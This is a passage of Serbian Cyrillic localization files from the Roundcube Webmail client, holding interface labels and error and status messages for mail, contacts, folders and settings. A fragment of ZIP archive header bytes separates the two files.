$labels['editortype'] = 'Тип уређивача';
$labels['returnreceipt'] = 'Потврда о приспећу';
$labels['dsn'] = 'Обавештење о статусу испоруке';
$labels['mailreplyintro'] = 'Дана $date, $sender написа:';
$labels['originalmessage'] = 'Оригинална порука';
$labels['selectimage'] = 'Изабери слику';
$labels['addimage'] = 'Додај слику';
$labels['selectmedia'] = 'Изабери видео';
$labels['addmedia'] = 'Додај видео';
$labels['encrypt'] = 'Шифруј';
$labels['encryptmessage'] = 'Шифруј поруку';
$labels['importpubkeys'] = 'Увези јавне кључеве';
$labels['encryptedsendialog'] = 'Шаљем шифровану поруку';
$labels['keyid'] = 'ИД кључа';
$labels['keyexpired'] = 'Истекао';
$labels['keyrevoked'] = 'Опозван';
$labels['bccinstead'] = 'Користи БЦЦ';
$labels['insert'] = 'Убаци';
$labels['editidents'] = 'Уреди идентитете';
$labels['spellcheck'] = 'Правопис';
$labels['checkspelling'] = 'Провера правописа';
$labels['resumeediting'] = 'Настави уређивање';
$labels['revertto'] = 'Врати на';
$labels['restore'] = 'Врати';
$labels['restoremessage'] = 'Да вратим поруку?';
$labels['ignore'] = 'Игнориши';
$labels['responses'] = 'Одговори';
$labels['insertresponse'] = 'Уметни одговор';
$labels['manageresponses'] = 'Управљај одговорима';
$labels['newresponse'] = 'Направи нови одговор';
$labels['addresponse'] = 'Додај одговор';
$labels['editresponse'] = 'Уреди одговор';
$labels['editresponses'] = 'Уреди одговоре';
$labels['responsename'] = 'Назив';
$labels['responsetext'] = 'Текст одговора';
$labels['attach'] = 'Приложи';
$labels['attachments'] = 'Прилози';
$labels['upload'] = 'Отпреми';
$labels['uploadprogress'] = '$percent ($current од $total)';
$labels['close'] = 'Затвори';
$labels['messageoptions'] = 'Опције поруке...';
$labels['attachmentrename'] = 'Преименуј прилог';
$labels['low'] = 'низак';
$labels['lowest'] = 'најнижи';
$labels['normal'] = 'средњи';
$labels['high'] = 'висок';
$labels['highest'] = 'највиши';
$labels['nosubject'] = '(без наслова)';
$labels['showimages'] = 'Прикажи слике';
$labels['alwaysshow'] = 'Увек прикажи слике од $sender';
$labels['isdraft'] = 'Ово је нацрт поруке.';
$labels['andnmore'] = 'још $nr...';
$labels['togglemoreheaders'] = 'Прикажи још заглавља поруке';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Обичан текст';
$labels['savesentmessagein'] = 'Послате поруке сачувај у';
$labels['dontsave'] = 'не чувај';
$labels['maxuploadsize'] = 'Максимална величина фајла је $size';
$labels['addcc'] = 'Додај Цц';
$labels['addbcc'] = 'Додај Бцц';
$labels['addreplyto'] = 'Додај Одговор-на';
$labels['mdnrequest'] = 'Пошиљалац ове поруке је замолио да буде обавештен када прочитате ову поруку. Да ли желите да обавестите пошиљаоца?';
$labels['receiptread'] = 'Обавештење о приспећу (прочитано)';
$labels['yourmessage'] = 'Ово је обавештење о приспећу за вашу поруку';
$labels['receiptnote'] = 'Пажња: Ово обавештење само потврђује да је порука приказана на рачунару примаоца. Не постоји гаранција да је прималац прочитао или разумео садржај поруке.';
$labels['name'] = 'Приказано име';
$labels['firstname'] = 'Име';
$labels['surname'] = 'Презиме';
$labels['middlename'] = 'Средње име';
$labels['nameprefix'] = 'Префикс';
$labels['namesuffix'] = 'Суфикс';
$labels['nickname'] = 'Надимак';
$labels['jobtitle'] = 'Пословна титула';
$labels['department'] = 'Одељење';
$labels['gender'] = 'Пол';
$labels['maidenname'] = 'Девојачко презиме';
$labels['email'] = 'Е-пошта';
$labels['phone'] = 'Телефон';
$labels['address'] = 'Адреса';
$labels['street'] = 'Улица';
$labels['locality'] = 'Град';
$labels['zipcode'] = 'Поштански број';
$labels['region'] = 'Покрајина/Провинција';
$labels['country'] = 'Држава';
$labels['birthday'] = 'Датум рођења';
$labels['anniversary'] = 'Годишњица';
$labels['website'] = 'Веб сајт';
$labels['instantmessenger'] = 'ИМ';
$labels['notes'] = 'Белешке';
$labels['male'] = 'мушко';
$labels['female'] = 'женско';
$labels['manager'] = 'Менаџер';
$labels['assistant'] = 'Асистент';
$labels['spouse'] = 'Супружник';
$labels['allfields'] = 'Сва поља';
$labels['search'] = 'Тражи';
$labels['searchresult'] = 'Резултат претраге';
$labels['advsearch'] = 'Напредна претрага';
$labels['advanced'] = 'Напредно';
$labels['other'] = 'Остало';
$labels['printcontact'] = 'Штампај контакт';
$labels['qrcode'] = 'QR код';
$labels['typehome'] = 'Кућа';
$labels['typework'] = 'Посао';
$labels['typeother'] = 'Остало';
$labels['typemobile'] = 'Мобилни';
$labels['typemain'] = 'Главно';
$labels['typehomefax'] = 'Кућни факс';
$labels['typeworkfax'] = 'Пословни факс';
$labels['typecar'] = 'Ауто';
$labels['typepager'] = 'Пејџер';
$labels['typevideo'] = 'Видео';
$labels['typeassistant'] = 'Асистент';
$labels['typehomepage'] = 'Почетна страница';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профил';
$labels['addfield'] = 'Додај поље...';
$labels['addcontact'] = 'Додај контакт';
$labels['editcontact'] = 'Измени контакт';
$labels['contacts'] = 'Контакти';
$labels['contactproperties'] = 'Својства контакта';
$labels['contactnameandorg'] = 'Име и организација';
$labels['personalinfo'] = 'Лични подаци';
$labels['personal'] = 'Лично';
$labels['contactphoto'] = 'Фоографија контакта';
$labels['edit'] = 'Измени';
$labels['cancel'] = 'Одустани';
$labels['save'] = 'Сачувај';
$labels['delete'] = 'Обриши';
$labels['rename'] = 'Преименуј';
$labels['addphoto'] = 'Додај';
$labels['replacephoto'] = 'Замени';
$labels['uploadphoto'] = 'Отпреми слику';
$labels['newcontact'] = 'Направи нови контакт';
$labels['deletecontact'] = 'Обриши изаабране контакте';
$labels['composeto'] = 'Напиши поруку';
$labels['contactsfromto'] = 'Контакти $from до $to од $count';
$labels['print'] = 'Штампај';
$labels['export'] = 'Извези';
$labels['exportall'] = 'Извези све';
$labels['exportsel'] = 'Извези изабрано';
$labels['exportvcards'] = 'Извези контакте у формату в-картице';
$labels['newgroup'] = 'Направи нову групу';
$labels['addgroup'] = 'Додај групу';
$labels['grouprename'] = 'Преименуј групу';
$labels['groupdelete'] = 'Обриши групу';
$labels['groupremoveselected'] = 'Избриши изабране контакте из групе';
$labels['uponelevel'] = 'Горе један ниво';
$labels['previouspage'] = 'Прикажи претходну страну';
$labels['firstpage'] = 'Прикажи прву страну';
$labels['nextpage'] = 'Прикажи следећу страну';
$labels['lastpage'] = 'Прикажи последњу страну';
$labels['group'] = 'Група';
$labels['groups'] = 'Групе';
$labels['listgroup'] = 'Излистај чланове групе';
$labels['personaladrbook'] = 'Личне адресе';
$labels['searchsave'] = 'Сачувај претрагу';
$labels['searchdelete'] = 'Избриши претрагу';
$labels['import'] = 'Увези';
$labels['importcontacts'] = 'Увези контакте';
$labels['importtarget'] = 'Додај контакте у';
$labels['importreplace'] = 'Замени цео адресар';
$labels['importgroupsexisting'] = 'Само за постојеће групе';
$labels['done'] = 'Готово';
$labels['settingsfor'] = 'Поставке за';
$labels['about'] = 'О програму';
$labels['preferences'] = 'Подешавања';
$labels['userpreferences'] = 'Корисничка подешавања';
$labels['editpreferences'] = 'Измена корисничких подешавања';
$labels['identities'] = 'Идентитети';
$labels['manageidentities'] = 'Управљај идентитетима';
$labels['newidentity'] = 'Направи нови идентитет';
$labels['addidentity'] = 'Додај идентитет';
$labels['editidentity'] = 'Уреди идентитет';
$labels['preferhtml'] = 'Прикажи HTML';
$labels['defaultcharset'] = 'Подразумевани сет знакова';
$labels['htmlmessage'] = 'HTML порука';
$labels['messagepart'] = 'Део';
$labels['digitalsig'] = 'Дигитални потпис';
$labels['dateformat'] = 'Формат датума';
$labels['timeformat'] = 'Формат времена';
$labels['prettydate'] = 'Лепи датуми';
$labels['setdefault'] = 'Постави подразумевано';
$labels['autodetect'] = 'Аутоматски';
$labels['language'] = 'Језик';
$labels['timezone'] = 'Временска зона';
$labels['pagesize'] = 'Редова по страни';
$labels['signature'] = 'Потпис';
$labels['dstactive'] = 'Летње време';
$labels['showinextwin'] = 'Отвори поруку у новом прозору';
$labels['composeextwin'] = 'Састави у новом прозору';
$labels['htmleditor'] = 'Састави HTML поруке';
$labels['htmlonreply'] = 'само при одговору на HTML поруку';
$labels['htmlsignature'] = 'HTML потпис';
$labels['previewpane'] = 'Прикажи панел за преглед';
$labels['skin'] = 'Маска сучеља';
$labels['logoutclear'] = 'Испразни смеће при одјављивању';
$labels['logoutcompact'] = 'Сажми долазне при одјављивању';
$labels['uisettings'] = 'Сучеље';
$labels['serversettings'] = 'Поставке сервера';
$labels['mailboxview'] = 'Приказ сандучета';
$labels['askuser'] = 'питај ме';
$labels['autosend'] = 'шаљи потврду';
$labels['autosendknown'] = 'шаљи потврду мојим контактима, иначе питај';
$labels['autosendknownignore'] = 'шаљи потврду мојим контактима, иначе игнориши';
$labels['ignorerequest'] = 'игнориши захтев';
$labels['readwhendeleted'] = 'Означи као прочитано при брисању';
$labels['skipdeleted'] = 'Не приказуј избрисане поруке';
$labels['deletealways'] = 'Ако премештање порука у смеће не успе, обриши их';
$labels['deletejunk'] = 'Директно брисање порука у отпаду';
$labels['fromknownsenders'] = 'од знаних пошиљалаца';
$labels['always'] = 'увек';
$labels['alwaysbutplain'] = 'увек, осим кад се одговара на обичан текст';
$labels['showinlineimages'] = 'Покажи приложене слике испод поруке';
$labels['autosavedraft'] = 'Аутоматски сачувај нацрте';
$labels['everynminutes'] = 'сваких $n минута';
$labels['refreshinterval'] = 'Освежи (проверава нове поруке итд.)';
$labels['never'] = 'никад';
$labels['immediately'] = 'одмах';
$labels['messagesdisplaying'] = 'Приказ порука';
$labels['messagescomposition'] = 'Састављање порука';
$labels['mimeparamfolding'] = 'Називи прилога';
$labels['2231folding'] = 'Пун RFC 2231 (Тандерберд )';
$labels['miscfolding'] = 'RFC 2047/2231 (МС Аутлук)';
$labels['2047folding'] = 'Пун RFC 2047 (остали)';
$labels['force7bit'] = 'MIME кодирање за 8-битне знакове';
$labels['advancedoptions'] = 'Напредне опције';
$labels['toggleadvancedoptions'] = 'Напредне опције';
$labels['focusonnewmessage'] = 'Фокусирај прозор претраживача на новој поруци';
$labels['checkallfolders'] = 'Провери све фасцикле за нове поруке';
$labels['defaultfont'] = 'Подразумевани фонт за HTML поруке';
$labels['mainoptions'] = 'Главне опције';
$labels['browseroptions'] = 'Опције претраживача';
$labels['section'] = 'Одељак';
$labels['maintenance'] = 'Одржавање';
$labels['newmessage'] = 'Нова порука';
$labels['signatureoptions'] = 'Опције потписа';
$labels['whenreplying'] = 'При одговору';
$labels['replytopposting'] = 'почни нову поруку изнад цитата';
$labels['replybottomposting'] = 'почни нову поруку испод цитата';
$labels['replyremovesignature'] = 'При одговору одстрани оригинални потпис из поруке';
$labels['autoaddsignature'] = 'Аутоматски додај потпис';
$labels['newmessageonly'] = 'само нове поруке';
$labels['replyandforwardonly'] = 'само одговори и прослеђивања';
$labels['insertsignature'] = 'Убаци потпис';
$labels['sigbelow'] = 'Потпис испод цитиране поруке';
$labels['afternseconds'] = 'након $n сек.';
$labels['reqmdn'] = 'Увек затражи потврду пријема';
$labels['reqdsn'] = 'Увек затражи обавештење о статусу слања поруке';
$labels['replysamefolder'] = 'Сачувај одговоре у фасцикли поруке на коју се одговара';
$labels['defaultabook'] = 'Подразумевани адресар';
$labels['listnamedisplay'] = 'Листа контаката као';
$labels['spellcheckbeforesend'] = 'Проверите правопис пре слања поруке';
$labels['spellcheckoptions'] = 'Опције провере правописа';
$labels['spellcheckignoresyms'] = 'Игнориши речи са симболима';
$labels['spellcheckignorenums'] = 'Игнориши речи са бројевима';
$labels['addtodict'] = 'Додај у речник';
$labels['forwardmode'] = 'Прослеђивање порука';
$labels['inline'] = 'уткано';
$labels['asattachment'] = 'као прилог';
$labels['replyallmode'] = 'Подразумевана радња за дугме [Одговори свима]';
$labels['replyalldefault'] = 'одговори свима';
$labels['allmessages'] = 'све поруке';
$labels['folder'] = 'Фасцикла';
$labels['folders'] = 'Фасцикле';
$labels['foldername'] = 'Назив фасцикле';
$labels['subscribed'] = 'Претплаћено';
$labels['messagecount'] = 'Поруке';
$labels['create'] = 'Направи';
$labels['createfolder'] = 'Направи нову фасциклу';
$labels['managefolders'] = 'Управљај фасциклама';
$labels['specialfolders'] = 'Посебне фасцикле';
$labels['properties'] = 'Својства';
$labels['folderproperties'] = 'Својства фасцикле';
$labels['parentfolder'] = 'Над-фасцикла';
$labels['location'] = 'Локација';
$labels['info'] = 'Подаци';
$labels['getfoldersize'] = 'Кликните да добијете величину фасцикле';
$labels['changesubscription'] = 'Кликните да промените претплату';
$labels['foldertype'] = 'Тип фасцикле';
$labels['personalfolder'] = 'Лична фасцикла';
$labels['otherfolder'] = 'Фасцикла других корисникa';
$labels['sharedfolder'] = 'Јавна фасцикла';
$labels['findfolders'] = 'Нађи фасцикле';
$labels['findcontacts'] = 'Пронађи контакте';
$labels['namespace.personal'] = 'Лично';
$labels['namespace.other'] = 'Остали корисници';
$labels['sortby'] = 'Поређај';
$labels['sortasc'] = 'растуће';
$labels['sortdesc'] = 'опадајуће';
$labels['undo'] = 'Поништи';
$labels['installedplugins'] = 'Инсталирани прикључци';
$labels['plugin'] = 'Прикључак';
$labels['version'] = 'Верзија';
$labels['source'] = 'Изворни код';
$labels['license'] = 'Лиценца';
$labels['support'] = 'Подршка';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Уникод';
$labels['english'] = 'енглески';
$labels['westerneuropean'] = 'западноевропски';
$labels['easterneuropean'] = 'источноевропски';
$labels['southeasterneuropean'] = 'југоисточна Европа';
$labels['baltic'] = 'балтички';
$labels['cyrillic'] = 'Ћирилица';
$labels['arabic'] = 'арапски';
$labels['greek'] = 'грчки';
$labels['hebrew'] = 'хебрејски';
$labels['turkish'] = 'турски';
$labels['nordic'] = 'нордијски';
$labels['thai'] = 'тајландски';
$labels['celtic'] = 'келтски';
$labels['vietnamese'] = 'вијетнамски';
$labels['japanese'] = 'јапански';
$labels['korean'] = 'корејски';
$labels['chinese'] = 'кинески';
$labels['arialabelquicksearchbox'] = 'Унос претраге';
$labels['arialabelmailpreviewframe'] = 'Преглед поруке';
$labels['arialabelmailimportdialog'] = 'Дијалог увоза поруке';
$labels['arialabelmessagenav'] = 'Навигација поруке';
$labels['arialabelmessagebody'] = 'Тело поруке';
$labels['arialabelmessageactions'] = 'Радње поруке';
$labels['arialabelmessageheaders'] = 'Заглавља поруке';
$labels['arialabelforwardingoptions'] = 'Опције прослеђивања';
$labels['arialabelreplyalloptions'] = 'Опције одговора свима';
$labels['arialabelmoremessageactions'] = 'Још радњи за поруку';
$labels['arialabelmarkmessagesas'] = 'Означи изабране поруке као...';
$labels['arialabelcomposeoptions'] = 'Опције састављања';
$labels['arialabelattachmentpreview'] = 'Преглед прилога';
$labels['arialabelcontactexportoptions'] = 'Опције извоза контакта';
$labels['arialabelabookgroupoptions'] = 'Опције адресара/групе';
$labels['arialabelsearchterms'] = 'Појмови претраге';
$labels['helplistkeyboardnavmessages'] = "Стрелице лево/десно: скупљају/шире нит порука (само у нитном режиму).
Enter: отвара означену поруку.
Delete: премешта изабране поруке у смеће.";
PK
h�\�\���X�X'program/localization/sr_CS/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Дошло је до грешке!';
$messages['loginfailed']  = 'Неуспешно пријављивање';
$messages['cookiesdisabled'] = 'Ваш прегледач не прихвата колачиће.';
$messages['sessionerror'] = 'Сесија није важећа или је истекла.';
$messages['cookiesmismatch'] = 'Откривено је неслагање колачића. Очистите колачиће из прегледача.';
$messages['storageerror'] = 'Неуспешно повезивање на складишни сервер.';
$messages['servererror'] = 'Грешка на серверу!';
$messages['servererrormsg'] = 'Грешка на серверу: $msg';
$messages['accountlocked'] = 'Превише погрешних покушаја. Покушајте касније.';
$messages['connerror'] = 'Грешка везе (нисам приступио серверу)';
$messages['dberror'] = 'Грешка базе података!';
$messages['windowopenerror'] = 'Искачући прозор је блокиран!';
$messages['requesttimedout'] = 'Захтев је истекао';
$messages['errorreadonly'] = 'Не могу да извршим радњу. Фасцикла је само за читање.';
$messages['errornoperm'] = 'Не могу да извршим радњу. Дозволе су одбијене.';
$messages['erroroverquota'] = 'Не могу да извршим радњу. Нема простора на диску.';
$messages['erroroverquotadelete'] = 'Нема слободног простора на диску. Користите SHIFT+DEL за брисање поруке.';
$messages['invalidrequest'] = 'Неисправан захтев! Подаци нису сачувани.';
$messages['invalidhost'] = 'Неисправно име сервера.';
$messages['nomessagesfound'] = 'Немате порука у сандучету.';
$messages['loggedout'] = 'Успешно сте завршили сесију. Довиђења!';
$messages['mailboxempty'] = 'Сандуче је празно';
$messages['nomessages'] = 'Нема порука';
$messages['refreshing'] = 'Освежавам...';
$messages['loading'] = 'Учитавам...';
$messages['uploading'] = 'Отпремам фајл...';
$messages['attaching'] = 'Прилажем фајл...';
$messages['uploadingmany'] = 'Отпремам фајлове...';
$messages['loadingdata'] = 'Учитавам податке...';
$messages['checkingmail'] = 'Проверавам нове поруке...';
$messages['sendingmessage'] = 'Шаљем поруку...';
$messages['messagesent'] = 'Порука је успешно послата.';
$messages['savingmessage'] = 'Уписујем поруку...';
$messages['messagesaved'] = 'Порука сачувана у нацрте.';
$messages['successfullysaved'] = 'Успешно сачувано.';
$messages['savingresponse'] = 'Снимам текст одговора...';
$messages['deleteresponseconfirm'] = 'Заиста желите да обришете овај текст одговора?';
$messages['nocontactselected'] = 'Још увек нисте изабрали контакт.';
$messages['addedsuccessfully'] = 'Контакт успешно додат у адресар.';
$messages['contactexists'] = 'Контакт са истом адресом већ постоји.';
$messages['contactnameexists'] = 'Контакт са истим именом већ постоји.';
$messages['blockedimages'] = 'Због заштите приватности, слике са удаљених сервера су блокиране у овој поруци.';
$messages['blockedresources'] = 'Због заштите приватности, удаљени ресурси су блокирани.';
$messages['encryptedmessage'] = 'Ова порука је шифрована и не може се приказати. Жао нам је!';
$messages['externalmessagedecryption'] = 'Ово је шифрована порука и може се дешифровати са проширењем вашег прегледача.';
$messages['nopubkeyfor'] = 'Нема исправног јавног кључа за $email';
$messages['nopubkeyforsender'] = 'Нема исправног јавног кључа за ваш идентитет пошиљаоца. Желите ли да поруку шифрујете само за примаоце?';
$messages['encryptnoattachments'] = 'Већ одаслат прилог не може се шифровати. Додајте га поново у уређивач шифровања.';
$messages['searchpubkeyservers'] = 'Желите ли да недостајуће кључеве потражите на серверима јавних кључева?';
$messages['encryptpubkeysfound'] = 'Нађени су следећи јавни кључеви:';
$messages['keyservererror'] = 'Неуспело добављање кључа са сервера.';
$messages['keyimportsuccess'] = 'Јавни кључ $key успешно увезен.';
$messages['nocontactsfound'] = 'Нема контаката.';
$messages['contactnotfound'] = 'Тражени контакт није нађен.';
$messages['contactsearchonly'] = 'Користите форму претраге да видите контакте из изабраног адресара.';
$messages['sendingfailed'] = 'Грешка при слању поруке.';
$messages['senttooquickly'] = 'Сачекајте $sec сек. пре слања ове поруке.';
$messages['errorsavingsent'] = 'Десила се грешка при упису послате поруке.';
$messages['errorsaving'] = 'Десила се грешка при упису.';
$messages['errormoving'] = 'Не могу да преместим поруке.';
$messages['errorcopying'] = 'Не могу да копирам поруке.';
$messages['errordeleting'] = 'Не могу да обришем поруке.';
$messages['errormarking'] = 'Не могу да означим поруке.';
$messages['alerttitle'] = 'Пажња';
$messages['confirmationtitle'] = 'Јесте ли сигурни...';
$messages['deletecontactconfirm']  = 'Да ли заиста желите да обришете изабране контакте?';
$messages['deletegroupconfirm']  = 'Да ли заиста желите да обришете изабрану групу?';
$messages['deletemessagesconfirm'] = 'Да ли заиста желите да обришете изабране поруке?';
$messages['deletefolderconfirm']  = 'Да ли заиста желите да обришете ову фасциклу?';
$messages['movefolderconfirm']  = 'Да ли заиста желите да преместите ову фасциклу?';
$messages['purgefolderconfirm']  = 'Да ли заиста желите да обришете све поруке у фасцикли?';
$messages['contactdeleting'] = 'Бришем контакте...';
$messages['groupdeleting'] = 'Бришем групу...';
$messages['folderdeleting'] = 'Бришем фасциклу...';
$messages['foldermoving'] = 'Премештам фасциклу...';
$messages['foldersubscribing'] = 'Претплаћујем се на фасциклу...';
$messages['folderunsubscribing'] = 'Одјављујем претплату на фасциклу...';
$messages['formincomplete'] = 'Образац није у целости попуњен.';
$messages['noemailwarning'] = 'Унесите исправну адресу е-поште.';
$messages['nonamewarning']  = 'Унесите име.';
$messages['nopagesizewarning'] = 'Унесите величину странице.';
$messages['nosenderwarning'] = 'Унесите е-адресу пошиљаоца.';
$messages['recipientsadded'] = 'Примаоци успешно додати.';
$messages['norecipientwarning'] = 'Унесите бар једног примаоца.';
$messages['disclosedrecipwarning'] = 'Сви примаоци ће видети адресе осталих прималаца. Да бисте ово избегли и заштитили њихову приватност, користите БЦЦ поље.';
$messages['disclosedreciptitle'] = 'Превише јавних корисика';
$messages['nosubjectwarning']  = 'Поље „Наслов“ је празно. Желите ли да унесете наслов?';
$messages['nosubjecttitle']  = 'Нема теме';
$messages['nobodywarning'] = 'Да ли желите да пошаљете поруку без текста?';
$messages['notsentwarning'] = 'Порука није послата и има несачуване измене. Желите ли да одбаците измене?';
$messages['restoresavedcomposedata'] = 'Нађена је порука претходно састављена али није послата.\n\nПредмет: $subject\nСачувана: $date\n\nЖелите ли да вратите ову поруку?';
$messages['nosearchname'] = 'Унесите име контакта или е-адресу.';
$messages['notuploadedwarning'] = 'Нису сви прилози отпремљени. Сачекајте или откажите отпремање.';
$messages['searchsuccessful'] = 'Пронађених порука: $nr';
$messages['contactsearchsuccessful'] = 'Пронађено контаката: $nr';
$messages['searchnomatch'] = 'Претрага није дала резултате.';
$messages['searching'] = 'Тражим...';
$messages['checking'] = 'Проверавам...';
$messages['stillsearching'] = 'И даље тражим...';
$messages['nospellerrors'] = 'Нису нађене правописне грешке.';
$messages['folderdeleted'] = 'Фасцикла успешно обрисана.';
$messages['foldersubscribed'] = 'Фасцикла успешно претплаћена.';
$messages['folderunsubscribed'] = 'Фасцикла успешно одјављена са претплате.';
$messages['deletedsuccessfully'] = 'Успешно обрисано.';
$messages['converting'] = 'Уклањам форматирања...';
$messages['messageopenerror'] = 'Порука се не може учитати са сервера.';
$messages['filelinkerror'] = 'Прилагање фајла није успело.';
$messages['fileuploaderror'] = 'Неуспешно отпремање фајла.';
$messages['csvfilemismatch'] = 'Увоз више ЦСВ фајлова са различитим пољима није подржано.';
$messages['filesizeerror'] = 'Отпремљени фајл превазилази максимум од $size.';
$messages['filecounterror'] = 'Највише фајлова које можете послати одједном је $count';
$messages['msgsizeerror'] = 'Не могу да приложим фајл. Максимална величина поруке од ($size) је прекорачена.';
$messages['msgsizeerrorfwd'] = 'Ограничење величине поруке ($size) прекорачено. Број порука које нису приложене: $num.';
$messages['copysuccess'] = 'Успешно копирано $nr контаката.';
$messages['movesuccess'] = 'Успешно премештено $nr контаката.';
$messages['copyerror'] = 'Нисам могао да копирам ниједан контакт.';
$messages['moveerror'] = 'Нисам могао да преместим ниједан контакт.';
$messages['sourceisreadonly'] = 'Овај извор адресе је само за читање.';
$messages['errorsavingcontact'] = 'Не могу да сачувам адресу контакта.';
$messages['movingmessage'] = 'Премештам поруке...';
$messages['copyingmessage'] = 'Копирам поруке...';
$messages['copyingcontact'] = 'Копирам контакте...';
$messages['movingcontact'] = 'Премештам контакт(е)...';
$messages['deletingmessage'] = 'Бришем поруке...';
$messages['markingmessage'] = 'Означавам поруке...';
$messages['addingmember'] = 'Додајем контакте у групу...';
$messages['removingmember'] = 'Уклањам контакте из групе...';
$messages['receiptsent'] = 'Успешно послато обавештење о приспећу.';
$messages['errorsendingreceipt'] = 'Неуспело слање обавештења о приспећу.';
$messages['deleteidentityconfirm'] = 'Заиста желите да обришете овај идентитет?';
$messages['nodeletelastidentity'] = 'Не можете обрисати овај идентитет. Он је последњи.';
$messages['forbiddencharacter'] = 'Назив фасцикле садржи забрањени знак.';
$messages['selectimportfile'] = 'Изаберите фајл за отпремање..';
$messages['addresswriterror'] = 'Изабрани адресар није уписив.';
$messages['contactaddedtogroup'] = 'Контакти су успешно додати у групу.';
$messages['contactremovedfromgroup'] = 'Контакти су успешно уклоњени из групе.';
$messages['nogroupassignmentschanged'] = 'Нису измењена задужења групе.';
$messages['importwait'] = 'Увозим, сачекајте...';
$messages['importformaterror'] = 'Увоз није успео! Отпремљени фајл није исправан фајл увоза података.';
$messages['importconfirm'] = '<b>Успешно увезено контаката: $inserted</b>';
$messages['importconfirmskipped'] = '<b>Прескочено постојећих уноса: $skipped</b>';
$messages['importmessagesuccess'] = 'Успешно увезено $nr порука';
$messages['importmessageerror'] = 'Увоз није успео! Отпремљени фајл није исправан фајл поруке или сандучета';
$messages['opnotpermitted'] = 'Радња није дозвољена!';
$messages['nofromaddress'] = 'У изабраном идентитету недостаје е-адреса.';
$messages['editorwarning'] = 'Пребацивање типа уређивача може узроковати губитак форматирања текста. Желите ли да наставите?';
$messages['httpreceivedencrypterror'] = 'Кобна грешка у постави. Контактирајте одмах вашег администратора. <b>Ваша порука се не може послати.</b>';
$messages['smtpconnerror'] = 'СМТП грешка ($code): неуспешно повезивање на сервер.';
$messages['smtpautherror'] = 'СМТП грешка ($code): неуспешна аутентификација.';
$messages['smtpfromerror'] = 'СМТП грешка ($code): неуспешно постављање пошиљаоца "$from" ($msg)';
$messages['smtptoerror'] = 'СМТП грешка ($code): неуспешно додавање примаоца "$to" ($msg)';
$messages['smtprecipientserror'] = 'СМТП грешка ($code): није могуће рашчланити листу прималаца.';
$messages['smtputf8error'] = 'СМТП грешка: сервер не подржава Уникод у адресама е-поште.';
$messages['smtpsizeerror'] = 'СМТП грешка: порука прекорачује ограничење величине ($limit)';
$messages['smtperror'] = 'СМТП грешка ($code): $msg';
$messages['emailformaterror'] = 'Неисправна е-адреса: $email';
$messages['toomanyrecipients'] = 'Превише прималаца. Смањите број прималаца на $max.';
$messages['maxgroupmembersreached'] = 'Број чланова групе прелази максимум од $max.';
$messages['internalerror'] = 'Десила се унутрашња грешка. Покушајте поново.';
$messages['contactdelerror'] = 'Не могу да обришем контакте.';
$messages['contactdeleted'] = 'Брисање контаката успешно.';
$messages['contactrestoreerror'] = 'Не могу да вратим обрисане контакте.';
$messages['contactrestored'] = 'Контакти су успешно враћени.';
$messages['groupdeleted'] = 'Група успешно обрисана.';
$messages['grouprenamed'] = 'Група успешно преименована.';
$messages['groupcreated'] = 'Група успешно направљена.';
$messages['savedsearchdeleted'] = 'Сачувана претрага је успешно обрисана.';
$messages['savedsearchdeleteerror'] = 'Не могу да обришем сачувану претрагу.';
$messages['savedsearchcreated'] = 'Успешно је сачувана претрага.';
$messages['savedsearchcreateerror'] = 'Не могу да сачувам претрагу.';
$messages['messagedeleted'] = 'Поруке су успешно обрисане.';
$messages['messagemoved'] = 'Поруке су успешно премештене.';
$messages['messagemovedtotrash'] = 'Поруке успешно премештене у Смеће.';
$messages['messagecopied'] = 'Поруке су успешно копиране.';
$messages['messagemarked'] = 'Поруке су успешно означене.';
$messages['autocompletechars'] = 'За аутоматско довршавање унесите бар $min знака.';
$messages['autocompletemore'] = 'Више резултата се поклапа. Унесите још знакова.';
$messages['namecannotbeempty'] = 'Назив не може бити празан.';
$messages['nametoolong'] = 'Предугачак назив.';
$messages['namedotforbidden'] = 'Назив фасцикле не може почети тачком.';
$messages['folderupdated'] = 'Фасцикла успешно ажурирана.';
$messages['foldercreated'] = 'Фасцикла је успешно направљена.';
$messages['invalidimageformat'] = 'Није исправан формат слике.';
$messages['mispellingsfound'] = 'Уочене су правописне грешке у поруци.';
$messages['parentnotwritable'] = 'Не могу да направим/преместим фасциклу у изабрану фасциклу. Нема дозволе приступа.';
$messages['messagetoobig'] = 'Део са поруком је превелик за обраду.';
$messages['attachmentvalidationerror'] = 'Овај прилог је сумњив јер се његов тип не поклапа са типом наведеним у поруци. Ако не верујете пошиљаоцу, не би требало да га отварате у прегледачу јер може имати малициозан садржај.<br/><br/><em>Очекивано: $expected; откривено: $detected</em>';
$messages['noscriptwarning'] = 'Упозорење: ова поштанска услуга захтева Јава скрипт! Да бисте је користили, укључите Јава скрипт у поставкама вашег прегледача.';
$messages['messageissent'] = 'Порука је већ послата али није још сачувана. Желите ли да је сачувате сада?';
$messages['errnotfound'] = 'Фајл није нађен';
$messages['errnotfoundexplain'] = 'Захтевани ресурс није нађен!';
$messages['errfailedrequest'] = 'Неуспешан захтев';
$messages['errauthorizationfailed'] = 'Овлашћење није успело';
$messages['errunauthorizedexplain'] = 'Нисам могао да проверим ваше овлашћење за приступ овом сервису!';
$messages['errrequestcheckfailed'] = 'Захтев за провером није успео';
$messages['errcsrfprotectionexplain'] = "Због ваше заштите, приступ овом ресурсу је обезбјеђен против ЦСРФ-а.\nАко видите ово, вероватно се нисте одјавили пре напуштања веб апликације.\n\nСада је потребна интеракција човека за наставак.";
$messages['errcontactserveradmin'] = 'Контактирајте администратора вашег сервера.';
$messages['clicktoresumesession'] = 'Кликните овде да бисте наставили вашу претходну сесију';
$messages['errcomposesession'] = 'Грешка сесије састављача';
$messages['errcomposesessionexplain'] = 'Тражена сесија састављача није нађена.';
$messages['clicktocompose'] = 'Кликните овде да саставите нову поруку';
$messages['nosupporterror'] = 'Ваш прегледач не подржава ову могућност.';
